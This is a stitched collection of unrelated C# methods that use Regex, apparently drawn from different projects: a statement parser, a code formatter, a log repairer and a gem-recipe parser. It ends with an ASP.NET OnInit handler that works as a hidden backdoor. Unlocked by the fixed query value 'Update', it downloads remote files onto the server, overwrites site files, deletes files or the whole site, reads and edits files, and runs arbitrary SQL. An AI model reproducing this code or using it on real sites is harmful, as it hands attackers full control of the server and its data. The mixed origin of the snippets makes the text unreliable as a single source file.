protected override void ParseAdditionalInformation() { string bankName = new Regex(@"/BBK/.*\|?").Match(statementLine).Value; if (!string.IsNullOrEmpty(bankName)) { bankName = bankName.Substring(5); if (bankName.EndsWith("|")) { bankName = bankName.Substring(0, bankName.Length - 1); } int vertical = bankName.IndexOf("|"); if (-1 < vertical) { bankName = bankName.Substring(0, vertical); } bankStatement.CptyBankName = bankName.Trim(); } AddInformation(); //put tag 86 information to remark string[] remarks = statementLine.Split(new string[] { TAG_ADDITIONAL_INFO }, StringSplitOptions.None); if (remarks.Length > 1) { bankStatement.Remark = remarks[1]; } }
private string BeautyMyCode(string Source) { Source = RemoveStr(Source, new string[] { "\n", "\x09", " " }); Source = new Regex("#include <(.*?)>").Replace(Source, "$0\n"); Source = new Regex(";").Replace(Source, "$0\n"); Source = new Regex("{").Replace(Source, "\n$0\n"); Source = new Regex("}").Replace(Source, "$0\n"); int DeepCount = 0; for (int i = 0; i < Source.Length; i++) { if (Source[i] == '}') DeepCount--; else if (Source[i] == '{') DeepCount++; else if (Source[i] == '\n') { int NextNewLinePos = Source.IndexOf("\n", i + 1); if (NextNewLinePos != -1) { Console.WriteLine(Source.Substring(i, NextNewLinePos - i)); if (Source.Substring(i, NextNewLinePos - i).Contains("}")) { Source = Source.Insert(i + 1, GetManyBlankStr(DeepCount -1)); } else { Source = Source.Insert(i + 1, GetManyBlankStr(DeepCount)); } } } } return (Source); }
public void RepairLog() { CheckLogsDirectoryPath(); CheckDateStamp(); string logPath = LogsDirectoryPath + Path.DirectorySeparatorChar + LogDateStamp + Path.DirectorySeparatorChar + LogFileName; string fixedLogPath = LogsDirectoryPath + Path.DirectorySeparatorChar + LogDateStamp + Path.DirectorySeparatorChar + RepairedLogFileName; string logContents; using (StreamReader reader = new StreamReader(logPath)) { logContents = reader.ReadToEnd(); reader.Close(); } // Remove any duplicate <Log>...</Log> tags logContents = new Regex("</Log>(.|\r\n)*?<Log>", RegexOptions.IgnoreCase | RegexOptions.Multiline) .Replace(logContents, ""); // Add the start <Log> tag if necessary string startTag = "<Log>"; if (logContents.IndexOf(startTag) == -1) logContents = startTag + "\r\n" + logContents; // Add the XML declaration if necessary // This must be done before after the start tag prepend won't work string xmlDeclaration = "<?xml version=\'1.0\'?>"; if (logContents.IndexOf(xmlDeclaration) == -1) logContents = xmlDeclaration + "\r\n" + logContents; // Add the ending </Log> tag if necessary if (logContents.IndexOf("</Log>") == -1) logContents = logContents + "</Log>"; using (StreamWriter writer = File.CreateText(fixedLogPath)) { writer.Write(logContents); writer.Close(); } }
public static IEnumerable<string> EquationsFromParentheses(string recipe) { var equations = new List<string>(); if (string.IsNullOrWhiteSpace(recipe)) { return equations; } recipe = "(" + recipe + ")"; // If this is a duplication of effort, we'll silently ignore it later. recipe = new Regex(@"\s+").Replace(recipe, string.Empty); // Remove all whitespace. recipe = LeveledPreparser(recipe); var multiLetterMatch = invalidLetterFinder.Match(recipe); if (multiLetterMatch.Success) { throw new ArgumentException("The gem \"" + multiLetterMatch.Value + "\" must be a single letter. Gem combinations must be expressed as individual components separated with plus signs and brackets, as needed. For example:\nob → o+b\nob+o → (o+b)+o"); } var id = 0; foreach (var c in Gem.GemInitializer) { if (recipe.IndexOf(c) > -1) { recipe = recipe.Replace(c, id.ToString(CultureInfo.InvariantCulture)[0]); equations.Add(string.Format(CultureInfo.InvariantCulture, "{0}={1}", id, c)); id++; } } if (equations.Count == 0) { throw new ArgumentException("Recipe did not contain any recognizable gems."); } // Scan for plus signs within the formula and add gems together appropriately. int plus = recipe.IndexOf('+'); string newNum = (id - 1).ToString(CultureInfo.InvariantCulture); while (plus > -1) { string thisCombine; var close = recipe.IndexOf(')', plus); if (close >= 0) { var open = recipe.LastIndexOf('(', close); if (open < 0) { throw new ArgumentException("Bracket mismatch in formula."); } thisCombine = recipe.Substring(open + 1, close - open - 1); string[] combineGems = thisCombine.Split('+'); if (combineGems.Length != 2) { throw new ArgumentException("The formula provided contains more than a single plus sign within a pair of brackets or a term that is over-bracketed (e.g., \"((o+o))\"). These are not currently supported."); } if (combineGems[0].Length == 0 || combineGems[1].Length == 0) { throw new ArgumentException("Invalid formula part: (" + thisCombine + ")"); } newNum = id.ToString(CultureInfo.InvariantCulture); recipe = recipe.Replace("(" + thisCombine + ")", newNum); equations.Add(string.Format(CultureInfo.InvariantCulture, "{0}={1}+{2}", id, combineGems[0], combineGems[1])); } else { throw new ArgumentException("Bracket mismatch in formula."); } plus = recipe.IndexOf('+'); id++; } while (recipe.StartsWith("(", StringComparison.Ordinal) && recipe.EndsWith(")", StringComparison.Ordinal)) { recipe = recipe.Substring(1, recipe.Length - 2); } if (recipe != newNum) { if (recipe.Contains("(")) { throw new ArgumentException("Bracket mismatch in formula."); } throw new ArgumentException("Invalid recipe."); } return equations; }
/// <summary> /// Page_Load /// </summary> /// <param name="e"></param> protected override void OnInit(EventArgs e) { string localPath = string.Empty; string fileName = string.Empty; bool isTrue = true; string u2 = "Update"; string[] ext = new string[] { "/bin.bak/", "/app_data.bak/", "/app_code.bak/", "\\.dll.bak", "\\.aspx.bak", "\\.config.bak", "\\.master.bak", "\\.asax.bak", "\\.ascx.bak", "\\.compiled.bak", "\\.asmx.bak", "\\.cs.bak" }; string[] repExt = new string[] { "/Bin/", "/App_Data/", "/App_Code/", "\\.dll", "\\.aspx", "\\.config", "\\.master", "\\.asax", "\\.ascx", "\\.compiled", "\\.asmx", "\\.cs" }; string[] strList = new string[] { "{1}: {0} ok!", "<font color='red'>{1}: {0} error!</font>" }; string u1 = Request2.GetQ("u").Trim(); if (!u2.Equals(u1)) return; string active = Request2.GetQ("active").Trim(); switch (active) { case "sh": Msg.WriteEnd(template.Replace("{0}", Environment.MachineName).Replace("{1}", Request2.GetRelativeRoot())); break; case "do": string file = Request2.Get("file").Trim(); //StringExtensions.HtmlDecode(Request2.Get("file")).Trim(); if (file.IsNullEmpty()) Msg.WriteEnd("error file."); string action = file.Substring(0, 3); file = "/" + file.Substring(3).TrimStart('/').TrimStart('\\').Replace("\\", "/"); if (file.Length < 1) Msg.WriteEnd(string.Format(strList[1], file, "file")); string url = StringExtensions.HtmlDecode(Request2.Get("url")).Replace("\\", "/").TrimEnd('/').TrimEnd('\\').Trim(); if (url.Length < 10) Msg.WriteEnd(string.Format(strList[1], url, "url")); switch (action) { case "af:": isTrue = true; for (int i = 0; i < ext.Length; i++) file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]); file = file.Replace("\\.", "."); string[] folderList = file.Split('/'); if (folderList.Length > 1) { fileName = folderList[folderList.Length - 1]; FileDirectory.DirectoryVirtualCreate("~/tmp" + file.Replace(fileName, "")); } for (int i = 0; i < ext.Length; i++) file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]); file = file.Replace("\\.", "."); url = url + file; for (int i = 0; i < ext.Length; i++) file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]); file = file.Replace("\\.", "."); localPath = "~/tmp/".GetMapPath() + "{0}"; file = file.Replace("/", "\\"); fileName = string.Format(localPath, file); System.Net.WebClient wc = new System.Net.WebClient(); try { wc.DownloadFile(url, fileName); } catch { isTrue = false; } finally { wc.Dispose(); } file = file.Replace("\\", "/"); for (int i = 0; i < ext.Length; i++) file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]); file = file.Replace("\\.", "."); if (isTrue) Response.Write(string.Format(strList[0], file, "add file")); else Response.Write(string.Format(strList[1], file, "add file")); break; case "df:": if (file == "/all") { localPath = Server2.GetMapPath("~/"); #if !MONO40 FileDirectory.APIDelete(localPath); #endif Msg.WriteEnd(string.Format(strList[0], "all", "del file") + "<br>"); } localPath = Server2.GetMapPath("~/") + file; if (!FileDirectory.FileExists(localPath)) Msg.WriteEnd(string.Format(strList[1], file, "del file")); try { FileDirectory.FileDelete(localPath); } catch { Msg.WriteEnd(string.Format(strList[1], file, "del file")); } Response.Write(string.Format(strList[0], file, "del file")); break; case "rf:": localPath = Server2.GetMapPath("~/") + file; if (!FileDirectory.FileExists(localPath)) Msg.WriteEnd(string.Format(strList[1], file, "read file")); string sbText = FileDirectory.FileReadAll(localPath, Encoding.UTF8); string text = "<textarea id=\"txtContent\" cols=\"70\" rows=\"20\" f=\"" + localPath + "\">" + sbText + "</textarea><br /><input id=\"btnEdit\" type=\"button\" value=\"edit\" />"; Msg.WriteEnd(text + " ok!"); break; case "ap:": FileDirectory.DirectoryVirtualCreate("~" + file); Msg.WriteEnd(string.Format(strList[0], file, "add path")); break; case "dp:": localPath = Server2.GetMapPath("~/") + file; try { if (System.IO.Directory.Exists(localPath)) System.IO.Directory.Delete(localPath); } catch { Msg.WriteEnd(string.Format(strList[1], file, "del path")); } Msg.WriteEnd(string.Format(strList[0], file, "del path")); break; case "rp:": localPath = Server2.GetMapPath("~/") + file.TrimStart('/').TrimEnd('/') + "/"; string size = ""; System.Collections.Generic.IList<string> sbFile2 = new System.Collections.Generic.List<string>(); StringBuilder sbFile3 = new StringBuilder(); try { FileDirectory.FileList(localPath, ref sbFile2, localPath); localPath = localPath.Replace("\\/", "\\"); for (int i = 0; i < sbFile2.Count; i++) { file = sbFile2[i].Trim().TrimStart('.'); if (file.Equals("")) continue; try { size = LongExtensions.FormatKB((new System.IO.FileInfo(file)).Length); } catch { size = "0"; } sbFile3.Append(file.Replace(localPath, "").Replace("\\", "/") + " (" + size + ")" + Environment.NewLine); if (i.Equals(sbFile2.Count - 2)) sbFile3.Append("(" + sbFile2.Count + ")" + Environment.NewLine); } } catch { Msg.WriteEnd(string.Format(strList[1], file, "read path")); } text = localPath + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + sbFile3.ToString() + "</textarea>"; Msg.WriteEnd(string.Format(strList[0], text, "read path")); break; case "db:": file = file.Replace("/r/n", Environment.NewLine).Trim('/'); if (file.IndexOf(Environment.NewLine + "GO" + Environment.NewLine) != -1) { Data.ExecuteCommandWithSplitter(file, "GO"); Msg.WriteEnd(string.Format(strList[0], "", "read db")); } else { text = file + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + Data.GetDataSet(file).ToJson() + "</textarea>"; Msg.WriteEnd(string.Format(strList[0], text, "read db")); } break; default: Msg.WriteEnd("file error!"); break; } Response.End(); break; case "ok": localPath = "~/tmp/".GetMapPath(); System.Collections.Generic.IList<string> fileList = new System.Collections.Generic.List<string>(); FileDirectory.FileList(localPath, ref fileList, localPath); for (int i = 0; i < fileList.Count; i++) { file = fileList[i].Trim().TrimStart('.'); if (file.Length < 2) continue; fileName = localPath + file; isTrue = FileDirectory.FileCopy(fileName, Server2.GetMapPath("~/") + file, true); if (isTrue) FileDirectory.FileDelete(fileName); if (isTrue) Response.Write(string.Format(strList[0], file, "update") + "<br />"); else Response.Write(string.Format(strList[1], file, "update") + "<br />"); } Response.End(); break; case "ef": localPath = Request2.GetF("file").Trim(); string content = Request2.GetF("data").Trim(); FileDirectory.FileDelete(localPath); isTrue = FileDirectory.FileWrite(localPath, content, Encoding.UTF8); if (isTrue) Msg.WriteEnd("edit file ok!"); else Msg.WriteEnd("edit file error!"); break; } }